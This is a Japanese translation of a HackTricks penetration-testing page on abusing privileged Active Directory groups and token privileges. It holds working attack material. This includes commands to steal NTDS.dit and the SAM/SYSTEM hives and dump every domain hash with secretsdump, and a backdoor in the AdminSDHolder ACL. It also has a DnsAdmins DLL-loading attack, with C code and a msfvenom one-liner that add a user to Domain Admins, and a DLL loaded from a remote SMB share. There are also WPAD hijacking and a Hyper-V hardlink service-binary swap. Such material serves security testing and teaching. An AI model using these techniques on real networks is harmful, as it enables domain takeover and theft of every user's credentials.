hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
2023-07-07 23:42:27 +00:00

29 KiB
Raw Blame History

特権グループ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

管理特権を持つ既知のグループ

  • Administrators
  • Domain Admins
  • Enterprise Admins

他にも、セキュリティ評価中に複数の攻撃ベクトルを連鎖させる際に役立つアカウントのメンバーシップやアクセストークンの特権があります。

アカウントオペレーター

  • ドメイン上で非管理者アカウントとグループを作成することができます
  • DCにローカルでログインすることができます

グループのメンバーを取得する:

Get-NetGroupMember -Identity "Account Operators" -Recurse

ユーザーのメンバーシップを確認してください:

しかし、新しいユーザーを追加することはできます:

また、DC01にローカルでログインすることもできます

AdminSDHolderグループ

AdminSDHolderオブジェクトのアクセス制御リストACLは、Active Directoryのすべての「保護されたグループ」およびそれらのメンバーに権限をコピーするために使用されます。保護されたグループには、Domain Admins、Administrators、Enterprise Admins、およびSchema Adminsなどの特権グループが含まれます。
デフォルトでは、このグループのACLは「保護されたグループ」のすべてにコピーされます。これは、これらの重要なグループへの意図的または偶発的な変更を防ぐために行われます。ただし、攻撃者が例えば通常のユーザーに完全な権限を与えるようにグループAdminSDHolderのACLを変更した場合、このユーザーは保護されたグループ内のすべてのグループに対して完全な権限を持つことになります1時間以内に
そして、誰かがこのユーザーをDomain Adminsから削除しようとした場合、1時間以内にユーザーはグループに戻ります。

グループのメンバーを取得する:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse

AdminSDHolder グループにユーザーを追加します:

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

Domain Admins グループにユーザーが含まれているかどうかを確認します:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

1時間待ちたくない場合は、次のPSスクリプトを使用して即座に復元を行うことができますhttps://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

詳細はired.teamを参照してください。

AD Recycle Bin

このグループには、削除されたADオブジェクトを読み取る権限があります。そこには興味深い情報が含まれている場合があります。

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

ドメインコントローラへのアクセス

現在のメンバーシップでは、DC上のファイルにアクセスできないことに注意してください

しかし、ユーザーがServer Operatorsに属している場合:

状況が変わります:

特権昇格

PsServiceまたはSysinternalsのscを使用して、サービスのアクセス許可を確認します。

C:\> .\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

[...]

[ALLOW] BUILTIN\Server Operators
All

これにより、Server OperatorsグループがSERVICE_ALL_ACCESSアクセス権を持っていることが確認されました。これにより、このサービスに対して完全な制御が可能です。
このサービスを悪用して、任意のコマンドを実行し特権をエスカレーションすることができます。

Backup Operators

Server Operatorsのメンバーシップと同様に、Backup Operatorsに所属している場合は、DC01ファイルシステムにアクセスできます。

これは、このグループがそのメンバーSeBackupSeRestoreの特権を付与しているためです。SeBackupPrivilegeにより、任意のフォルダをトラバースし、フォルダの内容をリストすることができます。これにより、他に権限が与えられていない場合でも、フォルダからファイルをコピーすることができます。ただし、ファイルをコピーするためには、フラグFILE_FLAG_BACKUP_SEMANTICSを使用する必要があります。したがって、特別なツールが必要です。

この目的のために、これらのスクリプトを使用できます。

グループのメンバーを取得する:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

ローカル攻撃

# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled

# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege

# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

AD攻撃

たとえば、直接ドメインコントローラのファイルシステムにアクセスできます:

このアクセスを悪用して、ドメイン内のすべてのユーザーとコンピュータオブジェクトのNTLMハッシュを取得するために、アクティブディレクトリデータベース**NTDS.dit盗む**ことができます。

diskshadowを使用して、たとえばCドライブとFドライブにシャドウコピーを作成できます。その後、システムによって使用されていないため、このシャドウコピーからNTDS.ditファイルを盗むことができます:

diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 10:34:16 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit

ローカル攻撃と同様に、特権ファイル NTDS.dit をコピーすることができます。

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

別のファイルをコピーする方法は、robocopyを使用することです

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

次に、SYSTEMSAMを簡単に盗むことができます:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

最終的には、NTDS.dit からすべてのハッシュを取得できます。

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

DNSAdminsグループのメンバーまたはDNSサーバーオブジェクトへの書き込み権限を持つユーザーは、DNSサーバー上でSYSTEM特権任意のDLLをロードすることができます。
これは、ドメインコントローラーが非常に頻繁にDNSサーバーとして使用されるため、非常に興味深いです。

この****投稿に示されているように、次の攻撃は、DNSがドメインコントローラー上で実行されている場合に実行できますこれは非常に一般的です

  • DNS管理はRPC経由で行われます
  • ServerLevelPluginDllを使用すると、DLLのパスの検証がゼロでカスタムDLLロードすることができます。これは、コマンドラインからdnscmdツールを使用して行うことができます
  • **DnsAdminsグループのメンバーが以下のdnscmd**コマンドを実行すると、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDllレジストリキーが作成されます
  • DNSサービスが再起動されると、このパスにあるDLLロードされます(つまり、ドメインコントローラーのマシンアカウントがアクセスできるネットワーク共有)
  • 攻撃者は、カスタムDLLをロードしてリバースシェルを取得したり、MimikatzのようなツールをDLLとしてロードして資格情報をダンプすることができます。

グループのメンバーを取得する:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

任意のDLLの実行

次に、DNSAdminsグループに所属するユーザーがいる場合、DNSサーバーはSYSTEM特権で任意のDLLを読み込むことができますDNSサービスはNT AUTHORITY\SYSTEMとして実行されます。次のコマンドを実行することで、DNSサーバーはローカルまたはリモートSMBで共有されたDLLファイルを読み込むことができます。

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll

有効なDLLの例はhttps://github.com/kazkansouh/DNSAdmin-DLLにあります。DnsPluginInitialize関数のコードを以下のように変更します:

DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}

または、msfvenomを使用してdllを生成することもできます

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

DNSサービスが開始または再起動されると、新しいユーザーが作成されます。

DNSAdminグループ内にユーザーがいても、デフォルトではDNSサービスを停止または再起動することはできません。 ただし、常に次の操作を試すことができます。

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

この特権昇格についての詳細は、ired.teamを参照してください。

Mimilib.dll

この投稿で詳しく説明されているように、Mimikatzツールの作成者によるmimilib.dllを使用して、kdns.cファイルを変更して、リバースシェルのワンライナーや他のコマンドを実行することができます。

MitMのためのWPADレコード

DnsAdminsグループの特権を悪用する別の方法は、WPADレコードを作成することです。このグループに所属することで、グローバルクエリブロックセキュリティを無効化する権限が与えられます。デフォルトでは、この攻撃はブロックされます。サーバー2008では、DNSサーバーにグローバルクエリブロックリストを追加する機能が初めて導入されました。デフォルトでは、Web Proxy Automatic Discovery Protocol (WPAD)とIntra-site Automatic Tunnel Addressing Protocol (ISATAP)がグローバルクエリブロックリストに含まれています。これらのプロトコルはハイジャックの脆弱性が非常に高く、任意のドメインユーザーがこれらの名前を含むコンピュータオブジェクトやDNSレコードを作成することができます。

グローバルクエリブロックリストを無効化し、WPADレコードを作成した後、デフォルト設定で動作しているすべてのWPADを実行しているマシンのトラフィックは、攻撃マシンを介してプロキシされますResponderInveighなどのツールを使用して、トラフィックのスプーフィングを行い、パスワードハッシュをキャプチャしてオフラインでクラックしたり、SMBRelay攻撃を実行したりすることができます。

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

イベントログの読み取り者

イベントログの読み取り者グループのメンバーは、生成されたイベントログ(新しいプロセス作成ログなど)にアクセスする権限を持っています。ログには機密情報が含まれている場合があります。ログの表示方法を見てみましょう:

#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"

# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"

# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Exchange Windows Permissions

メンバーはドメインオブジェクトにDACLを書き込む権限を与えられています。攻撃者はこれを悪用して、ユーザーにDCSyncの特権を与えることができます。
Microsoft ExchangeがAD環境にインストールされている場合、このグループのメンバーとしてユーザーアカウントやコンピューターを見つけることが一般的です。

このGitHubリポジトリでは、このグループの権限を悪用して特権をエスカレーションするためのいくつかの技術が説明されています。

#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V管理者

Hyper-V管理者グループは、すべてのHyper-V機能に完全なアクセス権を持っています。もしドメインコントローラー仮想化されている場合、仮想化管理者ドメイン管理者と見なされるべきです。彼らは簡単にライブドメインコントローラーのクローンを作成し、仮想ディスクをオフラインでマウントして**NTDS.dit**ファイルを取得し、ドメイン内のすべてのユーザーのNTLMパスワードハッシュを抽出することができます。

また、このブログでは、仮想マシンを削除すると、vmms.exeが対応する**.vhdxファイルの元のファイルアクセス許可を復元しようとし、ユーザーを模倣せずにNT AUTHORITY\SYSTEMとして行います。私たちは.vhdxファイルを削除し、このファイルを保護されたSYSTEMファイルに向けるためのネイティブなハードリンク**を作成することができます。そうすれば、完全なアクセス権を与えられます。

もしオペレーティングシステムがCVE-2018-0952またはCVE-2019-0841に脆弱である場合、これを利用してSYSTEM権限を取得することができます。そうでない場合は、サーバー上にインストールされているアプリケーションがSYSTEMのコンテキストで実行されるサービスを持っていることを利用することができます。このサービスは、特権のないユーザーによって起動することができます。

攻撃例

この例では、Firefoxが**Mozilla Maintenance Service**をインストールしていることがあります。このエクスプロイトNTハードリンクの概念証明を更新して、現在のユーザーに以下のファイルの完全なアクセス権を付与することができます。

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

ファイルの所有権を取得する

PowerShellスクリプトを実行した後、このファイルの完全な制御権を持ち、所有権を取得することができるはずです

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Mozillaメンテナンスサービスの開始

次に、このファイルを悪意のあるmaintenanceservice.exeで置き換え、メンテナンスサービスを開始し、SYSTEMとしてコマンドの実行を行うことができます。

C:\htb> sc.exe start MozillaMaintenance

{% hint style="info" %} このベクトルは、ハードリンクに関連する動作を変更した2020年3月のWindowsセキュリティ更新によって軽減されました。 {% endhint %}

組織管理

このグループは、Microsoft Exchangeがインストールされた環境でも存在します。
このグループのメンバーは、すべてのドメインユーザーのメールボックスアクセスできます。
このグループはまた、グループExchange Windows Permissionsを含むOU Microsoft Exchange Security Groups完全な制御を持っています(このグループを悪用して特権昇格する方法についてはリンクを参照してください)。

プリントオペレータ

このグループのメンバーには以下が付与されます:

  • SeLoadDriverPrivilege
  • ドメインコントローラにローカルでログオンし、シャットダウンする権限
  • ドメインコントローラに接続されたプリンタ管理、作成、共有、削除の権限

{% hint style="warning" %} コマンドwhoami /privが昇格していないコンテキストで**SeLoadDriverPrivilege**を表示しない場合、UACをバイパスする必要があります。 {% endhint %}

グループのメンバーを取得する:

Get-NetGroupMember -Identity "Print Operators" -Recurse

このページでは、SeLoadDriverPrivilegeを悪用して特権昇格を行う方法について説明します

{% content-ref url="../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md" %} abuse-seloaddriverprivilege.md {% endcontent-ref %}

リモートデスクトップユーザー

このグループのメンバーはRDP経由でPCにアクセスできます。
グループのメンバーを取得する:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

RDPに関する詳細情報:

{% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %} pentesting-rdp.md {% endcontent-ref %}

リモート管理ユーザー

このグループのメンバーはWinRMを介してPCにアクセスできます。

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

WinRMについての詳細情報:

{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %} 5985-5986-pentesting-winrm.md {% endcontent-ref %}

サーバーオペレーター

このメンバーシップにより、ユーザーは以下の特権を持つドメインコントローラを構成できます:

  • ローカルでのログオンを許可する
  • ファイルとディレクトリのバックアップ
  • ``SeBackupPrivilegeSeRestorePrivilege
  • システムの時刻の変更
  • タイムゾーンの変更
  • リモートシステムからの強制シャットダウン
  • ファイルとディレクトリの復元
  • システムのシャットダウン
  • ローカルサービスの制御

グループのメンバーを取得する:

Get-NetGroupMember -Identity "Server Operators" -Recurse

参考文献

{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}

{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}

{% embed url="https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}

{% embed url="https://adsecurity.org/?p=3658" %}

{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}

{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}

{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13" %}

{% embed url="https://github.com/tandasat/ExploitCapcom" %}

{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}

{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}

{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}

{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥